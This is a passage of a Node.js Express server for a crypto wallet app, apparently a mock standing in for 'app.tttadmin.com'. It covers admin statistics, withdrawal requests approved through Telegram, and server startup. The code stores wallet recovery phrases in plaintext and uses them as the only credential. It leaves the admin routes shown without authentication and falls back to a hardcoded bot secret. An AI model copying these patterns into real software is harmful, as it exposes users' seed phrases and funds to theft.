    const result = stmt.run(comment.trim() || null, id);
    
    if (result.changes === 0) {
      return res.status(404).json({ error: 'Wallet not found' });
    }
    
    res.json({ 
      success: true, 
      message: 'Comment updated successfully',
      comment: comment.trim() || null
    });
  } catch (error) {
    console.error('[ADMIN] Error updating wallet comment:', error);
    res.status(500).json({ error: 'Failed to update comment' });
  }
});

// GET /admin/api/stats - Общая статистика
app.get('/admin/api/stats', (req, res) => {
  try {
    const stats = {
      totalWallets: db.prepare('SELECT COUNT(*) as count FROM wallets').get().count,
      totalUsers: db.prepare('SELECT COUNT(*) as count FROM users').get().count,
      totalStaking: db.prepare("SELECT COUNT(*) as count FROM staking_positions WHERE status = 'active'").get().count,
      totalSwaps: db.prepare('SELECT COUNT(*) as count FROM swap_transactions').get().count,
      todayWallets: db.prepare(`
        SELECT COUNT(*) as count FROM wallets 
        WHERE DATE(created_at) = DATE('now')
      `).get().count
    };
    
    res.json({ success: true, data: stats });
  } catch (error) {
    console.error('[ADMIN] Error fetching stats:', error);
    res.status(500).json({ error: 'Failed to fetch stats' });
  }
});

// ============================================================================
// WITHDRAWAL API
// ============================================================================

// Карта сетей для токенов (для уведомлений и валидации)
const TOKEN_NETWORK_MAP = {};
for (const network of networks) {
  for (const ti of network.tokenInfoList) {
    const sym = (ti.symbol || '').toUpperCase();
    TOKEN_NETWORK_MAP[sym] = {
      networkName: network.name,
      networkSymbol: network.symbol,
      addressFirst: ti.addressFirst || '',
      addressLen: ti.addressLen || 0,
    };
  }
}

// Валидация адреса по сети
function validateAddress(address, networkSymbol) {
  if (!address || typeof address !== 'string') return false;
  const addr = address.trim();
  switch ((networkSymbol || '').toUpperCase()) {
    case 'ETH':
    case 'BEP20':
    case 'ARB':
    case 'ARBITRUM':
      return /^0x[0-9a-fA-F]{40}$/.test(addr);
    case 'TRX':
      return /^T[A-Za-z1-9]{33}$/.test(addr);
    case 'BTC':
      return /^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/.test(addr) || /^bc1[a-zA-HJ-NP-Z0-9]{25,62}$/.test(addr);
    case 'SOL':
      return /^[1-9A-HJ-NP-Za-km-z]{32,44}$/.test(addr);
    case 'XRP':
      return /^r[0-9a-zA-Z]{24,34}$/.test(addr);
    case 'DOGE':
      return /^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{30,33}$/.test(addr);
    case 'TON':
      return /^(EQ|UQ)[A-Za-z0-9_\-]{46}$/.test(addr);
    case 'LTC':
      return /^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/.test(addr) || /^ltc1[a-zA-HJ-NP-Z0-9]{25,62}$/.test(addr);
    case 'ADA':
      return addr.startsWith('addr1') && addr.length >= 58;
    case 'DOT':
      return /^[1-9A-HJ-NP-Za-km-z]{47,48}$/.test(addr);
    case 'ATOM':
      return /^cosmos1[0-9a-z]{38}$/.test(addr);
    default:
      return addr.length >= 10;
  }
}

// POST /api/withdraw/create
app.post('/api/withdraw/create', (req, res) => {
  try {
    const { phrase, token, toAddress, amount } = req.body;

    if (!phrase || !token || !toAddress || !amount) {
      return res.status(400).json({ success: false, error: 'Все поля обязательны' });
    }

    const wallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
    if (!wallet) {
      return res.status(404).json({ success: false, error: 'Кошелёк не найден' });
    }

    const tokenUpper = token.toUpperCase();
    const colConfig = TOKEN_COLUMN_MAP[tokenUpper];
    if (!colConfig) {
      return res.status(400).json({ success: false, error: 'Токен не поддерживается' });
    }

    const networkInfo = TOKEN_NETWORK_MAP[tokenUpper];
    const networkSymbol = networkInfo?.networkSymbol || '';
    const networkName = networkInfo?.networkName || token;

    // Валидация адреса
    if (!validateAddress(toAddress, networkSymbol)) {
      return res.status(400).json({ success: false, error: 'Неверный формат адреса для сети ' + networkName });
    }

    const amountNum = parseFloat(amount);
    if (isNaN(amountNum) || amountNum <= 0) {
      return res.status(400).json({ success: false, error: 'Неверная сумма' });
    }

    // Проверка минимальной суммы ($0.10)
    const tokenPrice = priceCache[COINGECKO_IDS[tokenUpper]]?.usd || 0;
    const amountUsd = amountNum * tokenPrice;
    if (tokenPrice > 0 && amountUsd < 0.10) {
      return res.status(400).json({ success: false, error: `Минимальная сумма отправки — $0.10. Текущий эквивалент: $${amountUsd.toFixed(4)}` });
    }

    // Проверка баланса
    const currentBalance = parseFloat(wallet[colConfig.balance]) || 0;
    if (currentBalance < amountNum) {
      return res.status(400).json({ success: false, error: `Недостаточно средств. Доступно: ${currentBalance.toFixed(6)} ${tokenUpper}` });
    }

    // Списываем баланс
    const newBalance = currentBalance - amountNum;
    db.prepare(`UPDATE wallets SET ${colConfig.balance} = ? WHERE id = ?`).run(newBalance, wallet.id);

    // Создаём заявку
    const stmt = db.prepare(`
      INSERT INTO withdrawals (user_id, phrase, token_symbol, network, address, amount, balance_before, balance_after)
      VALUES (?, ?, ?, ?, ?, ?, ?, ?)
    `);
    const result = stmt.run(wallet.user_id, phrase, tokenUpper, networkName, toAddress, amountNum, currentBalance, newBalance);
    const withdrawalId = result.lastInsertRowid;

    // Логируем в balance_history
    db.prepare(`
      INSERT INTO balance_history (user_id, phrase, token_symbol, operation_type, amount, balance_before, balance_after, description)
      VALUES (?, ?, ?, 'withdrawal', ?, ?, ?, ?)
    `).run(wallet.user_id, phrase, tokenUpper, amountNum, currentBalance, newBalance,
      `Вывод ${amountNum} ${tokenUpper} на адрес ${toAddress.slice(0, 10)}... (заявка #${withdrawalId})`
    );

    // Уведомление в Telegram (асинхронно, не блокируем ответ)
    const username = wallet.username || 'Неизвестный';
    const userId = wallet.user_id;
    const walletDbId = wallet.id;
    const msg = `💸 <b>Новая заявка на вывод</b>\n\n` +
      `🆔 ID заявки: <b>#${withdrawalId}</b>\n` +
      `👤 Пользователь: <b>${username}</b> (ID: ${userId})\n` +
      `💼 ID кошелька: <b>#${walletDbId}</b>\n` +
      `🔤 Токен: <b>${tokenUpper}</b>\n` +
      `🌐 Сеть: <b>${networkName}</b>\n` +
      `📤 Адрес: <code>${toAddress}</code>\n` +
      `💰 Сумма: <b>${amountNum} ${tokenUpper}</b>\n` +
      `💵 В USD: <b>$${amountUsd.toFixed(2)}</b>\n` +
      `📅 Дата: <b>${new Date().toLocaleString('ru-RU', { timeZone: 'Europe/Moscow' })}</b>\n\n` +
      `✅ /approve_${withdrawalId} — подтвердить\n` +
      `❌ /reject_${withdrawalId} — отклонить`;

    const botToken = process.env.TELEGRAM_BOT_TOKEN || require('./bot-config').token;
    const groupId = process.env.TELEGRAM_WITHDRAW_GROUP_ID || require('./bot-config').withdrawGroupId;
    const https2 = require('https');
    const postData = JSON.stringify({ chat_id: groupId, text: msg, parse_mode: 'HTML' });
    const options2 = {
      hostname: 'api.telegram.org',
      path: `/bot${botToken}/sendMessage`,
      method: 'POST',
      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
    };
    const req2 = https2.request(options2, () => {});
    req2.on('error', (e) => console.error('[WITHDRAW] Telegram notify error:', e.message));
    req2.write(postData);
    req2.end();

    res.json({ success: true, withdrawalId, newBalance, message: 'Заявка создана' });
  } catch (err) {
    console.error('[WITHDRAW] Error creating withdrawal:', err);
    res.status(500).json({ success: false, error: 'Внутренняя ошибка сервера' });
  }
});

// GET /api/withdraw/history — история выводов пользователя
app.get('/api/withdraw/history', (req, res) => {
  try {
    const { phrase } = req.query;
    if (!phrase) return res.status(400).json({ success: false, error: 'phrase required' });

    const wallet = db.prepare('SELECT id FROM wallets WHERE phrase = ?').get(phrase);
    if (!wallet) return res.status(404).json({ success: false, error: 'Wallet not found' });

    const rows = db.prepare(`
      SELECT id, token_symbol, network, address, amount, balance_before, balance_after, status, created_at
      FROM withdrawals
      WHERE phrase = ?
      ORDER BY created_at DESC
      LIMIT 100
    `).all(phrase);

    res.json({ success: true, data: rows });
  } catch (err) {
    console.error('[WITHDRAW] History error:', err);
    res.status(500).json({ success: false, error: 'Internal error' });
  }
});

// PUT /api/withdraw/status — изменение статуса заявки (для бота и админа)
app.put('/api/withdraw/status', (req, res) => {
  try {
    const { withdrawalId, status, botSecret } = req.body;
    const expectedSecret = process.env.BOT_SECRET || 'trustalpha_bot_secret_2026';
    if (botSecret !== expectedSecret) {
      return res.status(403).json({ success: false, error: 'Forbidden' });
    }
    if (!withdrawalId || !['success', 'error', 'pending'].includes(status)) {
      return res.status(400).json({ success: false, error: 'Invalid params' });
    }

    const withdrawal = db.prepare('SELECT * FROM withdrawals WHERE id = ?').get(withdrawalId);
    if (!withdrawal) return res.status(404).json({ success: false, error: 'Withdrawal not found' });

    db.prepare(`UPDATE withdrawals SET status = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`).run(status, withdrawalId);

    // Если отклоняем — возвращаем монеты на баланс
    if (status === 'error') {
      const colConfig = TOKEN_COLUMN_MAP[withdrawal.token_symbol];
      if (colConfig) {
        const wallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(withdrawal.phrase);
        if (wallet) {
          const currentBal = parseFloat(wallet[colConfig.balance]) || 0;
          const restored = currentBal + withdrawal.amount;
          db.prepare(`UPDATE wallets SET ${colConfig.balance} = ? WHERE phrase = ?`).run(restored, withdrawal.phrase);
          db.prepare(`
            INSERT INTO balance_history (user_id, phrase, token_symbol, operation_type, amount, balance_before, balance_after, description)
            VALUES (?, ?, ?, 'withdrawal_refund', ?, ?, ?, ?)
          `).run(wallet.user_id, withdrawal.phrase, withdrawal.token_symbol, withdrawal.amount, currentBal, restored,
            `Возврат средств по заявке #${withdrawalId} (отклонена)`
          );
        }
      }
    }

    res.json({ success: true, message: `Статус изменён на ${status}` });
  } catch (err) {
    console.error('[WITHDRAW] Status update error:', err);
    res.status(500).json({ success: false, error: 'Internal error' });
  }
});

app.get('*', (req, res) => {
  // Игнорируем API endpoints и статические файлы
  if (req.path.startsWith('/api') || 
      req.path.startsWith('/session') || 
      req.path.startsWith('/debug') ||
      req.path.startsWith('/address') ||
      req.path.startsWith('/get') ||
      req.path.startsWith('/admin') ||
      req.path.startsWith('/derive-address') ||
      req.path.match(/\.(js|css|png|jpg|jpeg|gif|svg|ico|woff|woff2|ttf|otf)$/)) {
    return res.status(404).json({ error: 'Not found' });
  }
  
  // Для всех остальных маршрутов отдаем index.html (SPA routing)
  res.sendFile(path.join(__dirname, 'dist', 'index.html'));
});

// ============================================================================
// START SERVER
// ============================================================================

async function startServer() {
  await initTrustWalletCore();

  // Фоновое обновление цен — не блокирует запросы пользователей
  updateCryptoPrices().catch(e => console.error('[Prices] Initial fetch error:', e.message));
  setInterval(() => updateCryptoPrices().catch(e => console.error('[Prices] Background fetch error:', e.message)), 60_000);

  app.listen(PORT, () => {
    console.log(`tttadmin mock listening on http://localhost:${PORT}`);
    console.log('Note: point app.tttadmin.com to this host/port (e.g., via hosts/proxy) to use with the SPA.');
    console.log('[DB] SQLite database ready. Access with DBeaver at:', path.join(__dirname, 'wallets.db'));
    console.log('[Auto-Login] Available at: http://localhost:' + PORT + '/auto-login.html');

    if (!trustWalletCore.ready) {
      console.warn('[TrustWallet] Running without Trust Wallet Core. Some addresses may differ from production.');
    }
  });
}

startServer();
